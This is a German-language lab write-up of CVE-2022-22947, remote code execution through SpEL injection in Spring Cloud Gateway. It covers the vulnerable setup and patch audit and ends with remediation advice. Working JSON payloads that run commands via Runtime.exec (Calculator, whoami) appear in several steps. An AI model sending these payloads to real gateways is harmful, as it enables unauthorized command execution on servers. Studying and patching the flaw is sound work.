Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22947 — Spring-Cloud-Spel-RCE | Kitploit
Tools/GitHubGitHub/4nnns/cve-2022-22947
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHub4nnns/cve-2022-22947

CVE-2022-22947

Spring-Cloud-Spel-RCE

Repository anzeigen
1225vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SpringCloud-Gateway Befehlseinschleusung (CVE-2022-22947)

Umgebungseinrichtung

Methode 1:

Durch Klonen des bereits geschriebenen Umgebungscodes auf GitHub.

GitHub Repository

root@kitploit:~
//⚠️ Achtung: Der Pfad zum Herunterladen des Umgebungscodes darf keine chinesischen Zeichen oder Leerzeichen enthalten.
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

Öffnen Sie das gerade heruntergeladene Codepaket mit IDEA: Open → Pfad der heruntergeladenen Datei → Open.

Methode 2:

Durch manuelle Erstellung eines Projekts und Aufsetzen der Umgebung.

(1) Neues Projekt erstellen, nach der Konfiguration einfach mit „Weiter“ fortfahren.

(2) Analyse der Verzeichnisstruktur des Projekts:

root@kitploit:~
1. Der Ordner `.idea` enthält die Standardkonfigurationsdateien von IntelliJ IDEA, hat keinen weiteren Zweck und kann je nach Bedarf gelöscht oder behalten werden.
2. Der Ordner `src` ist hauptsächlich der Codebereich des gesamten Projekts und enthält die beiden Unterordner `java` und `resources`. `java` ist der Bereich, in dem Java-Code geschrieben wird, `resources` ist der Konfigurationsbereich des gesamten Projekts. Spring-Projekte fügen standardmäßig die `SpringApplication`-Methode in `java` hinzu, die die Standard-Startmethode von Spring ist. In `resources` wird standardmäßig `application.properties` hinzugefügt, die Konfigurationsdatei des Spring-Projekts.
3. Der Ordner `test` ist der Testordner, in dem Testmethoden abgelegt werden können.
4. `pom.xml` ist die Maven-Konfigurationsdatei, die die Abhängigkeiten, Konfigurationen usw. des Projekts enthält.
5. `.iml` ist die Konfiguration der Maven-Abhängigkeitspakete, die ebenfalls standardmäßig hinzugefügt wird.
6. Der Ordner `External Libraries` enthält alle Abhängigkeitspakete des Projekts.
Tool herunterladen

(3) Maven-Abhängigkeiten in die pom.xml-Datei einfügen (das Maven-Repository enthält alle Abhängigkeitsdetails).

root@kitploit:~
1. In der `pom`-Datei werden standardmäßig einige XML-Codeabschnitte generiert. Details unten:

root@kitploit:~
2. Importieren Sie die benötigten Abhängigkeiten für das Projekt. Da dieses Projekt ein SpringBoot-Projekt ist, muss die Abhängigkeit `spring-boot-starter` als Starter für den Server importiert werden. Da es sich bei dieser Schwachstelle um eine Schwachstelle im SpringCloud Gateway handelt, beträgt die gefährdete Version unter 3.1.1. Daher verwenden wir hier die Version 3.1.0 zur Reproduktion der Schwachstelle. Gleichzeitig müssen wir über das Actuator-Interface das Gateway überwachen und darauf zugreifen, daher benötigen wir auch diese Abhängigkeit. Die spezifischen Inhalte sind unten aufgeführt:

(4) Ändern Sie die Spring-Konfigurationsdatei (Pfad: src → main → resources → application.properties). Details unten:

root@kitploit:~
1. `server.port` ist der Startport des Spring-Servers, standardmäßig Port 8080. Sie können ihn je nach Ihren Anforderungen einstellen.
2. `management.endpoint.gateway.enabled=true` aktiviert die Actuator-Überwachung des Spring Cloud Gateway. Der Standardwert ist `false`. Da diese Schwachstelle das Überwachen des Gateway-Status erfordert, müssen wir ihn manuell auf `true` ändern, um die Überwachung zu aktivieren.
3. `management.endpoints.web.exposure.include=gateway` wählt das Gateway des Servers als Gateway aus. Da es sich bei dieser Schwachstelle um eine Schwachstelle im Gateway handelt, deklarieren wir in der Konfigurationsdatei, dass das Gateway ausgewählt wird.

(5) Ändern Sie die nach der Projekterstellung automatisch generierte Java-Klasse (Klassenname ist normalerweise Projektname + Application, Pfad: src → main → java → com.xxx.xxx → xxxApplication). Einzelheiten siehe unten:

(6) Starten Sie das Projekt. Einzelheiten siehe unten:

(7) Rufen Sie http://localhost:9000 auf. Wenn die Seite mit dem Screenshot übereinstimmt, war die Umgebungseinrichtung erfolgreich.

Reverse Audit

(1) Zunächst betrachten wir den offiziellen Fix-Patch. Der Diff ist hier: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e. Offiziell wurde in der Funktion org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue GatewayEvaluationContext anstelle von StandardEvaluationContext verwendet, um SPEL-Ausdrücke auszuführen.

Aus der obigen Abbildung ist ersichtlich, dass dieser Patch hauptsächlich die Analysemethode des SPEL-Ausdrucks ändert. In Zeile 66 ist eine if-Anweisung zu sehen, die zeigt, dass der SPEL-Ausdruck mit #{ beginnen und mit } enden muss. Die Funktion getValue dient der Analyse des SPEL-Ausdrucks. Daraus ist ersichtlich, dass es sich bei dieser Schwachstelle um eine RCE-Schwachstelle handelt, die durch SPEL-Ausdrücke ausgelöst wird.

(2) Klicken Sie bei gedrückter Steuerungstaste auf das Feld getValue, um rückwärts zur Enumeration org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType zu gelangen.

Aus der obigen default-Methode ist ersichtlich, dass die DEFAULT-Methode in der Enumeration aufgerufen wird. Die Methodendetails sind wie folgt:

root@kitploit:~
default ShortcutType shortcutType() {
    return ShortcutType.DEFAULT;
}

DEFAULT-Methode

(3) Gehen Sie rückwärts zu org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

Diese normalizeProperties()-Methode analysiert die Eigenschaften des Filters. Sie übergibt die Konfigurationseigenschaften des Filters an normalize und führt schließlich getValue aus, um eine SPEL-Ausdrucksinjektion zu verursachen.

Forward Audit (Nicht-ausgabe-fähige Exploit-Kette)

(1) Laut Dokumentation [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html ) können Benutzer über Actuator Routen im Gateway erstellen und löschen. Die folgende Abbildung zeigt die grundlegende Struktur des Gateways.

(2) In IDEA können Sie über die Mapping-Funktion von Actuator die Schnittstellen zum Erstellen und Löschen von Routen im Gateway finden.

(3) Verfolgen Sie die Klasse RouteDefinition. Es zeigt sich, dass diese Klasse die Struktur des Gateways deklariert.

(4) Verfolgen Sie die darin enthaltene Klasse FilterDefinition. Es zeigt sich, dass Filter zwei Parameter hat: name und args.

(5) Verfolgen Sie den Parameter name. Es zeigt sich, dass der Name in der Methode AbstractGatewayControllerEndpoint#save() gefiltert wird. Die save()-Methode ist die Schnittstelle zum Erstellen eines Gateways. Diese Methode ruft zwei Parameter auf: eine ID des Gateways (frei wählbar) und RouteDefinition, der, wie oben erläutert, den Inhalt der zu erstellenden Gateway-Struktur deklariert. Dadurch wird diese Schwachstelle ausgelöst.

(6) Führen Sie ein dynamisches Debugging der Methode isAvailable() durch Setzen von Haltepunkten durch, um zu sehen, welche Namen diesen Filter passieren können.

Sie können die Namen wie in der obigen Abbildung verwenden, um die Namensüberprüfung zu umgehen.

(7) Basierend auf der obigen Analyse können wir einen RCE-Angriff mit dem angegebenen name-Parameter und einem SPEL-Ausdruck durchführen, der mit #{ beginnt und mit } endet. Das Payload sieht wie folgt aus:

root@kitploit:~
/**
* Erläuterung des SPEL-Ausdrucks im Payload
* Da wir hier einen Befehl über einen Ausdruck ausführen müssen, benötigen wir die Methode T(java.lang.Runtime).getRuntime().exec() zum Aufrufen der Befehlsausführungsmethode.
* Da der Ausdruck als String übergeben werden muss, muss der Ausdruck in ein String-Objekt umgewandelt werden.
* Da der Ausdruck als Bytestrom übergeben werden muss, muss die Methode T(org.springframework.util.StreamUtils).copyToByteArray() aufgerufen werden.
*/
{
  "id": "beliebig änderbar (darf nicht mit einer zuvor erstellten ID identisch sein)",
  "filters": [{
    "name": "beliebiger Name aus dem obigen Screenshot",
    "args": {
      "name": "beliebig änderbar",
      // Dieser Wert ist der Befehl zum Öffnen des Rechners (macOS)
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(8) Nicht-ausgabe-fähige Exploit-Kette mit predicates ([offizielle Seite](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)): Der SPEL-Ausführungsablauf von predicates ist identisch mit dem von filters. Die folgende Abbildung zeigt die Namen, die von predicates zur Überprüfung verwendet werden. Mit diesen Namen können Sie Befehle ausführen. Ermitteln Sie den Namen-Prüfmechanismus von predicates durch dynamisches Debuggen und konstruieren Sie das Payload basierend auf dem Beispiel auf der offiziellen Seite.

root@kitploit:~
/**
* Erläuterung des SPEL-Ausdrucks im Payload
* Da wir hier einen Befehl über einen Ausdruck ausführen müssen, benötigen wir die Methode T(java.lang.Runtime).getRuntime().exec() zum Aufrufen der Befehlsausführungsmethode.
* Da der Ausdruck als String übergeben werden muss, muss der Ausdruck in ein String-Objekt umgewandelt werden.
* Da der Ausdruck als Bytestrom übergeben werden muss, muss die Methode T(org.springframework.util.StreamUtils).copyToByteArray() aufgerufen werden.
*/
{
  "id": "beliebig änderbar (darf nicht mit einer zuvor erstellten ID identisch sein)",
  "predicates": [{
    "name": "beliebiger Name aus dem obigen Screenshot",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

Zusammenfassung (Nicht-ausgabe-fähige Exploit-Kette)

Die nicht-ausgabe-fähige filters- und predicates-Kette existiert tatsächlich. Solange die Namen von filters und predicates legal sind und die Einschränkungen umgehen, kann RCE ausgelöst werden.

Forward Audit (Ausgabe-fähige Exploit-Kette)

(1) Prinzip der Ausgabe: Die vom Benutzer gespeicherten Routendefinitionsinformationen befinden sich im Speicher. Nach dem Aktualisieren der Route und Ausführen des SPEL-Ausdrucks wird das Ausführungsergebnis in die Routeninformationen geschrieben. Über die API-Schnittstelle zum Anzeigen der Routeninformationen kann das RCE-Ausführungsergebnis in der Routenanzeige eingesehen werden.

(2) Laut der offiziellen Erklärung kann der Name "AddResponseHeader" in der filters-Kette eine ausgabe-fähige Exploit-Kette auslösen.

root@kitploit:~
/**
* Erläuterung des SPEL-Ausdrucks im Payload
* Da wir hier einen Befehl über einen Ausdruck ausführen müssen, benötigen wir die Methode T(java.lang.Runtime).getRuntime().exec() zum Aufrufen der Befehlsausführungsmethode.
* Da der Ausdruck als String übergeben werden muss, muss der Ausdruck in ein String-Objekt umgewandelt werden.
* Da der Ausdruck als Bytestrom übergeben werden muss, muss die Methode T(org.springframework.util.StreamUtils).copyToByteArray() aufgerufen werden.
*/
{
  "id": ""beliebig änderbar (darf nicht mit einer zuvor erstellten ID identisch sein)",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(3) Als Nächstes müssen wir überlegen, ob neben name="AddResponseHeader" auch andere Namen wie bei der nicht-ausgabe-fähigen Kette einen ausgabe-fähigen RCE-Angriff ermöglichen.

(4) Wir verwenden name="RedirectTo" und versuchen, die Reproduktion durchzuführen, um zu sehen, ob ein ausgabe-fähiger Angriff möglich ist.

Es zeigt sich, dass keine Ausgabe erfolgt. Überprüfen Sie die Logs im Hintergrund. Es wird gemeldet, dass eine NullPointerException zurückgegeben wird.

Auf der offiziellen Seite ist ersichtlich, dass unsere eingegebenen args-Parameter nicht mit dem Filter übereinstimmen. Dieser Filter benötigt zwei Parameter: einen status und einen url. Nachdem wir die Parameter geändert haben, führen wir es erneut aus.

Es wird immer noch 404 zurückgegeben, aber der Hintergrund meldet keine NullPointerException mehr. Anhand der Fehlerinformationen ist ersichtlich, dass Spring Cloud Gateway das URL-Format analysiert hat. Das bedeutet, dass die entsprechenden Parameter Typbeschränkungen haben, z. B. muss status ein HTTP-Statuscode (Enum-Typ) sein.

Wir müssen einen anderen Ansatz finden und einen Parameter vom Typ String suchen.

(5) Suchen Sie auf der offiziellen Seite nach einem Filter, dessen Parameter vom Typ String ist ([offizielle Seite](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory[) ). Beispielsweise benötigt der RemoveRequestHeader-Filter nur einen String-Parameter name. So können wir einen SPEL-Ausdruck als Wert für name konstruieren.

Im Folgenden können wir das Payload konstruieren und testen. Es zeigt sich, dass eine Ausgabe möglich ist.

Es ist ersichtlich, dass in der ausgabe-fähigen filters-Kette nicht nur der name gefiltert wird, sondern auch der args-Parameter bestimmten Anforderungen unterliegt. Dies kann jedoch durch die Verwendung verschiedener Filter umgangen werden.

(6) Bei der ausgabe-fähigen predicates-Kette ist der Ansatz identisch mit dem der filters-Kette. Filtern Sie die Parameter und deren Inhalt anhand der offiziellen Seite und suchen Sie einen Filter, der für die Ausführung von SPEL-Ausdrücken geeignet ist. Damit kann eine ausgabe-fähige RCE ausgeführt werden.

(7) In predicates kann name="Cookie" für die Befehlsausführung verwendet werden. Konstruieren Sie es anhand der Parameterreferenz auf der offiziellen Seite.

Konstruieren Sie das Payload und testen Sie es. Es zeigt sich, dass die Ausgabe erfolgreich ist.

Die ausgabe-fähige predicates-Kette existiert tatsächlich. Sie beschränkt nicht nur den Namen des args-Parameters, sondern auch die Typen der entsprechenden Parameter. Außerdem wird auch die Vollständigkeit der Parameter eingeschränkt.

Zusammenfassung (Ausgabe-fähige Exploit-Kette)

In der ausgabe-fähigen Exploit-Kette filtert Spring nicht nur den Namen des Filters, sondern auch die Typen und die Anzahl der args-Parameter. Über die Details der Filter auf der offiziellen Seite kann festgestellt werden, ob eine nutzbare Exploit-Kette existiert.

Exploit-Nachvollzug

  1. Nicht-ausgabe-fähige Exploit-Kette

(1) Zuerst muss ein Gateway erstellt werden. Senden Sie eine POST-Anfrage mit einem bösartigen Payload.

(2) Aktualisieren Sie das Gateway.

Exploit-Nachvollzug 2

(3) Rufen Sie die Gateway-Informationen ab. Senden Sie eine GET-Anfrage an das gerade erstellte test-Gateway. Der Rechner wird geöffnet.

(4) Löschen Sie das Gateway.

  1. Ausgabe-fähige Exploit-Kette

(1) Zuerst muss ein Gateway erstellt werden. Senden Sie eine POST-Anfrage mit einem bösartigen Payload.

(2) Aktualisieren Sie das Gateway.

Exploit-Nachvollzug 2

(3) Rufen Sie die Gateway-Informationen ab. Senden Sie eine GET-Anfrage an das gerade erstellte hacktest-Gateway. whoami wird erfolgreich ausgegeben.

Exploit-Nachvollzug 3

(4) Löschen Sie das Gateway.

Exploit-Nachvollzug 4

Behebungsplan

  1. Temporärer Behebungsplan:

(1) Wenn der Actuator-Endpunkt nicht benötigt wird, kann er durch folgende Konfiguration deaktiviert werden.

root@kitploit:~
management.endpoint.gateway.enabled=false

(2) Wenn der Actuator-Endpunkt benötigt wird, sollte er mit Spring Security geschützt werden.

  1. Offizielles Upgrade-Patch:

Die offizielle Version wurde veröffentlicht:

root@kitploit:~
Benutzer der Version 3.1.X sollten auf 3.1.1+ aktualisieren.

Benutzer der Version 3.0.X sollten auf 3.0.7+ aktualisieren.